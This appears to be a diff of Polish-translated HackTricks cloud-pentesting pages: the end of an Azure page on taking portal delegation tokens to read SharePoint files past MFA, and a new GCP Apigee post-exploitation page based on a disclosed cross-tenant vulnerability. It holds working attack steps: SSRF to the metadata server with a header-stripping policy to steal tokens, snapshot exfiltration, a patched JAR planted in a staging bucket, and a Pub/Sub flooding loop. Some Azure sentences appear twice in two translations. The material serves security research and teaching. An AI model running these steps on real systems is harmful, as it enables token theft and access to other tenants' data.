Ponieważ **portal Azure** **nie jest ograniczony**, możliwe jest **zdobycie tokena z punktu końcowego portalu, aby uzyskać dostęp do dowolnej usługi wykrytej** podczas wcześniejszego wykonania. W tym przypadku zidentyfikowano Sharepoint, a token do uzyskania dostępu do niego jest żądany:
Ponieważ **Azure** **portal** jest **nieograniczony**, możliwe jest **pozyskanie tokenu z endpointu portalu, aby uzyskać dostęp do dowolnej usługi wykrytej podczas poprzedniego wykonania**. W tym przypadku wykryto Sharepoint i żądany jest token umożliwiający dostęp do niego:
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Zakładając, że token ma uprawnienia Sites.Read.All (z Sharepoint), nawet jeśli nie możesz uzyskać dostępu do Sharepoint z sieci z powodu MFA, możliwe jest użycie tokena do uzyskania dostępu do plików za pomocą wygenerowanego tokena:
Zakładając, że token ma uprawnienie Sites.Read.All (z Sharepoint), nawet jeśli nie możesz uzyskać dostępu do Sharepoint z poziomu przeglądarki z powodu MFA, możliwe jest użycie tokena do uzyskania dostępu do plików za pomocą wygenerowanego tokena:
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## Odniesienia
## Źródła
- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)

View File

@@ -0,0 +1,68 @@
# GCP - Apigee Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Apigee metadata SSRF -> Dataflow cross-tenant pivot
Pojedynczy projekt tenant Apigee można wykorzystać, aby uzyskać dostęp do serwera metadanych Message Processor, ukraść jego service account i pivotować do współdzielonego potoku analitycznego Dataflow, który odczytuje/zapisuje cross-tenant buckets.
### Wystaw serwer metadanych przez Apigee
- Ustaw Apigee proxy target na `http://169.254.169.254` i żądaj tokenów z `/computeMetadata/v1/instance/service-accounts/default/token` z nagłówkiem `Metadata-Flavor: Google`.
- GCP metadata odrzuca żądania zawierające `X-Forwarded-For`; Apigee dodaje je domyślnie. Usuń go za pomocą `AssignMessage` przed przekazaniem przez proxy:
```xml
<AssignMessage name="strip-xff">
<Remove>
<Headers>
<Header name="X-Forwarded-For"/>
</Headers>
</Remove>
<IgnoreUnresolvedVariables>true</IgnoreUnresolvedVariables>
</AssignMessage>
```
### Enumeracja skradzionego konta serwisowego Apigee
- The leaked SA (zarządzane przez Google pod `gcp-sa-apigee`) można zenumerować narzędziami takimi jak [gcpwn](https://github.com/NetSPI/gcpwn), aby szybko przetestować uprawnienia.
- Zaobserwowane potężne uprawnienia obejmowały **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, oraz **Pub/Sub topic publish**. Podstawowe rozpoznanie:
```bash
gcloud compute disks list --project <tenant-project>
```
### Snapshot exfiltration for opaque managed services
Z uprawnieniami do dysku/snapshot możesz zbadać managed runtimes offline, nawet jeśli nie możesz zalogować się do tenant project:
1. Utwórz snapshot docelowego dysku w tenant project.
2. Skopiuj/przenieś snapshot do swojego projektu.
3. Odtwórz dysk ze snapshotu i dołącz go do swojej VM.
4. Zamontuj i przejrzyj logi/konfiguracje, aby odzyskać wewnętrzne nazwy bucketów, service accounts i opcje pipeline.
### Dataflow dependency replacement via writable staging bucket
- Analytics workers pobierały JARy z GCS staging bucket przy starcie. Ponieważ Apigee SA miało uprawnienie zapisu do bucketu, pobierz i zpatchuj JAR (np. z Recaf), aby wywołać `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` i ukraść **Dataflow worker** token.
- Dataflow workers nie miały egressu do internetu; exfiltrate przez zapisanie tokenu do kontrolowanego przez atakującego GCS bucket przy użyciu in-cluster GCP APIs.
### Force malicious JAR execution by abusing autoscaling
Istniejące workers nie przeładują zastąpionych artefaktów. Zalej pipeline input, aby wywołać nowe workers:
```bash
for i in {1..5000}; do
gcloud pubsub topics publish apigee-analytics-notifications \
--message "flood-$i" --project <tenant-project>
done
```
Nowo utworzone instancje pobierają załatane JARs i leak the Dataflow SA token.
### Błąd projektowy bucketu między tenantami
Zdekompilowany kod Dataflow pokazywał ścieżki cache takie jak `revenue/edge/<api|mint>/tenant2TenantGroupCacheDir` w ramach współdzielonego metadata bucketu, bez komponentu specyficznego dla konkretnego tenanta. Mając Dataflow token możesz read/write:
- `tenantToTenantGroup` caches ujawniające nazwy project+environment innych tenantów.
- foldery `customFields` i `datastores` zawierające per-request analytics (w tym end-user IPs i plaintext access tokens) dla wszystkich tenantów.
- Write access implies potential analytics tampering/poisoning.
## Referencje
- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/)
- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy)
{{#include ../../../banners/hacktricks-training.md}}